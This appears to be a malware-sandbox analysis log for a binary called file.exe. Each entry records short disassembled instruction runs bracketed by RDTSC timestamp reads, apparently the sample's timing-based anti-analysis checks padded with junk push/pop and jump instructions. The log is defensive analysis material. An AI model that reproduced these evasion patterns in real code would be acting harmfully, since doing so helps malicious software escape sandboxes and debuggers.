Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41061C second address: 41062E instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F64E0CE9AA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41062E second address: 3EFD04 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F64E0F64681h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push edi 0x00000011 call 00007F64E0F64678h 0x00000016 pop edi 0x00000017 mov dword ptr [esp+04h], edi 0x0000001b add dword ptr [esp+04h], 00000019h 0x00000023 inc edi 0x00000024 push edi 0x00000025 ret 0x00000026 pop edi 0x00000027 ret 0x00000028 mov edi, dword ptr [ebp+122D27F2h] 0x0000002e call dword ptr [ebp+122D34B0h] 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007F64E0F64682h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4423D5 second address: 4423DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4423DB second address: 4423E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4423E3 second address: 4423E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4423E9 second address: 4423EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4423EE second address: 4423F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4423F4 second address: 4423F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4423F8 second address: 4423FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4423FC second address: 442412 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F64E0F6467Ah 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 442412 second address: 44242E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F64E0CE9AB3h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44242E second address: 442433 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 442433 second address: 442453 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F64E0CE9AB8h 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 442453 second address: 44245D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F64E0F64676h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44245D second address: 442463 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4425A3 second address: 4425C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jng 00007F64E0F64676h 0x00000009 pop eax 0x0000000a jmp 00007F64E0F64685h 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4425C9 second address: 4425E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F64E0CE9AB8h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44270A second address: 44270E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44270E second address: 44271C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F64E0CE9AACh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44271C second address: 44275C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 jmp 00007F64E0F64685h 0x0000000d jbe 00007F64E0F64676h 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 jmp 00007F64E0F64688h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44275C second address: 442779 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F64E0CE9AB7h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 442779 second address: 442787 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jc 00007F64E0F64676h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 442BE1 second address: 442C07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F64E0CE9AB3h 0x0000000a jo 00007F64E0CE9AB2h 0x00000010 jng 00007F64E0CE9AA6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 442EB7 second address: 442EC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jc 00007F64E0F64682h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 442EC4 second address: 442ED2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F64E0CE9AA6h 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 442ED2 second address: 442EEB instructions: 0x00000000 rdtsc 0x00000002 jng 00007F64E0F64676h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jbe 00007F64E0F6467Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 448F14 second address: 448F18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 448F18 second address: 448F1E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 448ADA second address: 448ADE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 449A26 second address: 449A57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F64E0F64684h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F64E0F64682h 0x00000013 push esi 0x00000014 pop esi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 449A57 second address: 449A5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44F6FD second address: 44F701 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44F701 second address: 44F70D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F64E0CE9AA6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44E172 second address: 44E176 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44E2AB second address: 44E2AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44E2AF second address: 44E2CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F64E0F64687h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44E6FF second address: 44E70F instructions: 0x00000000 rdtsc 0x00000002 jns 00007F64E0CE9AB2h 0x00000008 jno 00007F64E0CE9AA6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44EB86 second address: 44EB8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44DE88 second address: 44DEB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F64E0CE9AB1h 0x00000009 jns 00007F64E0CE9AA6h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F64E0CE9AB0h 0x00000017 push edx 0x00000018 pop edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 453891 second address: 453898 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 453A14 second address: 453A18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 453CDF second address: 453CE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 453CE3 second address: 453D20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push edi 0x00000008 pop edi 0x00000009 jmp 00007F64E0CE9AB8h 0x0000000e pop ecx 0x0000000f jng 00007F64E0CE9AD4h 0x00000015 jmp 00007F64E0CE9AAFh 0x0000001a push eax 0x0000001b push edx 0x0000001c push ebx 0x0000001d pop ebx 0x0000001e push ebx 0x0000001f pop ebx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 453D20 second address: 453D33 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F64E0F6467Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 456241 second address: 456246 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 456246 second address: 456255 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F64E0F64676h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 456255 second address: 456259 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 459EE9 second address: 459F07 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F64E0F64688h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45A1B1 second address: 45A1BB instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F64E0CE9AA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45A1BB second address: 45A1C7 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F64E0F6467Eh 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45A1C7 second address: 45A1CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45A1CF second address: 45A1D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45D01A second address: 45D020 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45D020 second address: 45D024 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45D024 second address: 45D02A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45D175 second address: 45D191 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F64E0F64688h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45D191 second address: 45D1AA instructions: 0x00000000 rdtsc 0x00000002 ja 00007F64E0CE9AA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b jnl 00007F64E0CE9AC1h 0x00000011 push eax 0x00000012 push edx 0x00000013 jng 00007F64E0CE9AA6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4623EA second address: 4623F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push edx 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46254D second address: 462558 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F64E0CE9AA6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 462558 second address: 462588 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F64E0F64684h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F64E0F64686h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 462588 second address: 462597 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F64E0CE9AABh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 462801 second address: 462837 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F64E0F64687h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F64E0F64685h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 462837 second address: 46283B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41009F second address: 4100A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4100A3 second address: 4100AD instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F64E0CE9AACh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46B4A1 second address: 46B4E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F64E0F64683h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnc 00007F64E0F6468Eh 0x0000000f push eax 0x00000010 push edx 0x00000011 jnp 00007F64E0F64676h 0x00000017 jng 00007F64E0F64676h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 469A0F second address: 469A35 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F64E0CE9AB5h 0x00000007 jmp 00007F64E0CE9AADh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 469A35 second address: 469A3F instructions: 0x00000000 rdtsc 0x00000002 jg 00007F64E0F64682h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 469A3F second address: 469A45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46A1D4 second address: 46A1E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F64E0F6467Bh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46A1E5 second address: 46A1EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46A1EB second address: 46A210 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F64E0F6467Fh 0x0000000f jo 00007F64E0F6467Ch 0x00000015 je 00007F64E0F64676h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46A53B second address: 46A53F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46A53F second address: 46A55D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F64E0F64684h 0x0000000c push esi 0x0000000d pop esi 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46A83D second address: 46A853 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F64E0CE9AAFh 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46AE1B second address: 46AE26 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 470017 second address: 47001C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47001C second address: 470022 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 470150 second address: 470154 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 474BE1 second address: 474BEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 474BEB second address: 474C00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 jc 00007F64E0CE9AA6h 0x0000000f jnp 00007F64E0CE9AA6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47BCA9 second address: 47BCCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F64E0F64687h 0x0000000c jns 00007F64E0F64676h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47BCCD second address: 47BCE9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F64E0CE9AB6h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47C109 second address: 47C10E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47C10E second address: 47C115 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47C115 second address: 47C11B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47C2BE second address: 47C2C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47C3F3 second address: 47C40A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnc 00007F64E0F64676h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jno 00007F64E0F64676h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47C40A second address: 47C40E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47C6AD second address: 47C6CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 je 00007F64E0F64676h 0x0000000f jnp 00007F64E0F64676h 0x00000015 pop edi 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a jnc 00007F64E0F64676h 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47C6CF second address: 47C6E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F64E0CE9AA6h 0x0000000a popad 0x0000000b jmp 00007F64E0CE9AABh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47C6E5 second address: 47C6F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F64E0F64676h 0x00000009 push edx 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47C6F2 second address: 47C6FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47C6FD second address: 47C701 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47C9D0 second address: 47C9EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F64E0CE9AB3h 0x00000007 push eax 0x00000008 jng 00007F64E0CE9AA6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47D0B9 second address: 47D0C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F64E0F6467Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47D0C9 second address: 47D0D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47D0D3 second address: 47D0D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47D0D7 second address: 47D0F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F64E0CE9AB7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 482BCC second address: 482BE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jmp 00007F64E0F64684h 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 482BE7 second address: 482BF7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F64E0CE9AA6h 0x0000000a jo 00007F64E0CE9AA6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 482BF7 second address: 482BFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
